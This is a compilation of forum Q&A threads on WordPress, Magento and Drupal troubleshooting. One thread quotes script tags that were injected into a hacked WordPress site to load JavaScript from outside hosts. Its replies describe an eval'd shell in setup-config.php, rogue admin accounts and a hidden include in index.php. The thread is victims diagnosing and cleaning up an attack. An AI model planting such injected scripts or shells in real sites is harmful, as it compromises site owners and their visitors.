Failed to import demo content of premium theme - wordpress

i am trying to import demo content of premium theme but it got stuck every time and give error in console (admin-ajax.php 404 (Not Found))

without more information it´s hard to say what´s going wrong.
admi-ajax.php is a core file first step is to check if it´s in your installation.
The file should be in /wp-admin/admin.ajax.php on your server.
File rights should be set to 664.
Second step to isolate the problem is to disable all unnecessary plugins.
Maybe a poor coded Plugin causes a javascript conflict.
Put this in your /wp-config.php file.
define('CONCATENATE_SCRIPTS', false );
it will will cause the backend javascript files to load separated.
Maybe you will get more information which script is causing the error.
Some cheap hosters block access to this file.
Contact your Hoster and make sure they do not block the access for security reasons.
Hope this helps.

Related

Script being injected into the top of all my wordpress page

Just noticed ads appearing on one of our Wordpress sites. Nailed it down to these scripts being injected into the top of every page:
<script language="javascript" type="text/javascript" src="http://www.mde86.org/jquery.min.Js"></script><div style="display:none"><script language="javascript" type="text/javascript" src="http://js.users.51.la/18658151.js"></script>
Been looking at all the files and database for hours and can't figure out what is injecting it or how it got there.
What we found so far:
Some random lines in the function.php that were handling posts /
gets. We removed those but that didn't seem to solve the issue.
We found a wordpress user that no one has apparently created. So we removed that.
Reset all passwords on wordpress and FTP access
When we load a copy of the site on our local setup it doesn't display the ads or load the scripts... Almost like it can detect / target the live site?
But we still can't find where or how the script is being injected.
Any help greatly appreciated.
Someone had a similar issue here but unfortunately removed their post so only the cached remains:
http://webcache.googleusercontent.com/search?q=cache:US-HRpncY-QJ:stackoverflow.com/questions/33398784/script-being-injected-into-the-top-of-all-my-wordpress-page+&cd=1&hl=en&ct=clnk&gl=au
The same thing happened to a client of mine in the last 24 hours or so.
Can you share some information about the plugins you use and wordpress version?
The file influencing this is wp-admin/setup-config.php. It has encrypted bash code. I also found two admin users generated in wp_users. I think it's obvious that it's an automated attack, but it's pretty sophisticated.
I found the code on some random website via google search. You can review it here: http://tmp.mongit.com/tools/core.txt - It seems to be a shell file, but I'm not really smart when it comes to websec.
On my client's server I also found crap in a root /tmp/ folder (cPanel) that was being somehow accessed by wp_redirect (referenced in pluggable.php line 1196). These files are holding some MySQL info and WP database queries in JSON format. Not really sure how and why these files exist.
[29-Oct-2015 02:45:59 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/xxx/public_html/wp-admin/setup-config.php(514) : eval()'d code(1) : eval()'d code:2) in /home/xxx/public_html/wp-includes/pluggable.php on line 1196
Try to narrow down the injection source.
Disable plugins one at a time
Switch to a different theme
Check .htaccess files
Test against server generated injections
Test against browser generated injections
had the same issue few hours ago.
Finally found at root wordpress "index.php" at first line injected script calling, the script is calling a file at same directory, the name staretd with .xxxxx like a .htaccess, so it's hidden for example in TCMD.
Cleared the line and deleted the file, now all ok.
But how the hell somebody could control index.pho I don't know....

Magento doesn't load my CSS

I have change a bit of code in my CSS from Magento for my header logo but Magento doesn't load my new CSS update and still shows the old one.
I have already refresh the cache in Magento
Flush Magento Cache
Flush Cache storage
Flush Javascript/CSS Cache
At System - Cache Management
I have a folder var/cache and in here folders like mage--0, mage--1
i have tried to back-up them so i can restore it when i delete them and something won't wrong but i cant back-up it.
Hello first of all you can always safely delete the contents of var/cache you do not need to back it up. I konw it might sound silly but did you clear browser cache? Also make shure you changed the correct css file, use Firebug to see if your changes are not overwritten by other rules. A link to the project and more information will be helpful.
It may be that the browser is caching your files, not the server. To check, try either merging your files or unmerging your files and refresh the page. If you see the changes, then it is indeed your browser that is caching the files.
In that case, we've developed a handy little extension that automatically refreshes the merged JS + CSS static files. http://extensions.activo.com/css-and-javascript-versioning.html
you may be using different theme. check in system config design section what package and theme you are using and then check for that folder in skin and change. delete the var cache and changes will show. you do not need to back up var cache
Its also important to check System -> Design, where design overrides are located. Recently we've had a problem with this, someone (we are not sure who, hacker?) added override without dates, and whole shop become broken (we have pretty sophisticated package with lots of modifications). It took us about 30 minutes to figure out what was going on.

Cannot access configuration page in drupal 7 site

I am currently building a website using drupal 7.x. Unfortunately I cannot seem to enter the admin/config page. Every time I click on the configuration tab on the administration menu, I only get a blank page. Then I created another sample site. It also has the same problem and I am using WAMP server. I cleared cache and finds no difference. I have searched for similar issues, but could find none. Can someone please tell me what I am doing wrong?
A number of things can cause the White Screen of Death, but the most common things to check:
As suggested above, memory limit may need to be increased.
Have you enabled any modules other than those in Drupal core? Try disabling contributed modules and enable individually until you experience the error, to help you identify which module is causing trouble. If you can't access the modules admin page, you can disable them in the database - the system table has a 'status' field. 1 means enable, 0 is disabled.
Could it be a permissions issue? Check admin access permissions or try logging in as the superuser (user ID 1).
Lots more and discussion here and here.
Finally I got the answer. Increase the max_execution_time in php.ini file. It solves the issue.
A few things to try...
Check your php error log for clues.
Create a simple file that calls phpinfo() and see what your memory_limit is. It may need to be increased.
Try tweaking your php.ini to get it to display an error message instead of a blank page.
I tracked this very issue to l10_update module, once I enable it, admin/config shows the WSOD. Once I disabled it, everything's fine. So:
- unchecking the localization_update module in the "modules" list
- de-installing it from the modules list
- deleting directory sites/all/modules/l10n_update
- and re-installing the module (from the same tar.gz file)
Source: https://www.drupal.org/node/1141160

Troubles with Drupal IMCE image upload

I got some problems with Drupal's IMCE module. When I try to upload inline images from admin, it doesn't upload any images. I get this JS error on firebug:
"NetworkError: 404 Not Found - http://www.mydomain.com/imce?jsop=upload&dir=."
If I go to that URL it gives me 404 not found page. If I go on my other Drupal that uses same system, it gives me JSON data result with same URL. Settings are same. And it has worked before on both systems. Now just it stopped on another one.
Also all the files folder should have correct rights. Is it some JS thing or? Anyone have had anything similar?
Thanks!
Yeah, I was having this issue too. For me it was a conflict with the Fast 404 module I had installed also. If you've got that module installed try disabling it to see if it fixes the problem. If it does then you'll want to look into using an advanced config for fast 404. Details of that are outlined in the readme.txt file in the fast_404 module dir.
I have had this problem too.
instead of disabling the module, I whitelisted the string jsop in sites/default/settings.php
$conf['fast_404_string_whitelisting'][] = 'jsop';
That fixed the problem.
Important: If you are editing sites/default/settings.php, first give write permission to that file first. edit it, and dont forget to set permission to 444 after editing.
Here is why
I fix my problem with this missing line in settings.php:
$conf['404_fast_paths_exclude'] = '/\/(?:styles|advagg_(cs|j)s)|(?:system\/files)\//';

How can I disable Theme Info module in Drupal when it takes up too much memory to access the admin>>modules page?

I'm TEN pages from finishing Using Drupal and I'm stuck. I turned on the Theme Info module to aid in theme customization. However, I can no longer access the admin>>modules page to turn on/off modules (including the Theme Info module). It brings up this white error page that says it tried to access about twice as much memory as is allowed. I could reinstall Drupal, but it'd be pretty lame if that's the only solution.
Any help would be greatly appreciated!
-Landon
Two options.
Remove the 'Devel' module from your modules directory entirely. Reload the page. Voila! No Theme Info module. Downside: If you drag the module back in, it will still be enabled.
Open PHPMyAdmin (if you're using MAMP, WAMP, or a server that has it installed) and run the following query: UPDATE system SET status = 0 WHERE name = 'devel_themer';
Those should work to disable any module "in a pinch." You can also edit the php.ini file in your MAMP/WAMP configuration to give it more memory temporarily, though that trick won't work if you're running on a shared host that doesn't recognize php.ini changes.
First apply Eaton's suggestion (I prefer the second one).
Then increase memory_limit in your php.ini config (usually /etc/php5/apache2/php.ini). A WSOD for just that module means you really don't have enough RAM per script for anything serious: most configurations these days needs 32M at least.

Resources